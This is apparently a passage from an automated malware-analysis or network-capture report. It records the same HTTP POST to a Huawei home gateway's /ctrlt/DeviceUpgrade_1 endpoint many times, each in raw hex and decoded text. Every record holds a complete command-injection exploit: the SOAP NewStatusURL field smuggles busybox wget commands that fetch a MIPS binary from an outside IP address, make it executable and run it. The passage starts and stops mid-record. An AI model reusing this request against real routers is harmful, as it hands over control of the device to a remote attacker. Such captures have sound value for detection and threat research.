/..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 